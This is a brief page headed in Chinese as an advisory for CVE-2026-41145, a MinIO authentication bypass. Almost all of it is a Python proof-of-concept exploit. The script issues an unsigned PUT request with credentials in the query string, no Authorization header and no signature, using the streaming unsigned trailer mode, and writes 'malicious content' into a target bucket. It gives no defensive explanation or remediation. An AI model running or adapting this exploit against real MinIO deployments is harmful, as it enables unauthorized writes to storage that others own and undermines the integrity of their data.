CVE-2026-41145 MinIO认证绕过漏洞

import requests # Target configuration target_url = "http://minio-server:9000/bucket-name/testfile.txt" access_key = "minioadmin" # Valid access key # Exploit: Use query params for creds, omit Authorization header # Use the vulnerable trailer mode headers = { "X-Amz-Content-Sha256": "STREAMING-UNSIGNED-PAYLOAD-TRAILER", "Content-Type": "application/octet-stream" } params = { "X-Amz-Algorithm": "AWS4-HMAC-SHA256", "X-Amz-Credential": f"{access_key}/20260422/us-east-1/s3/aws4_request", "X-Amz-Date": "20260422T000000Z", "X-Amz-SignedHeaders": "host" # Note: No X-Amz-Signature is required due to the bypass } data = b"Malicious content written via auth bypass" response = requests.put(target_url, headers=headers, params=params, data=data) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")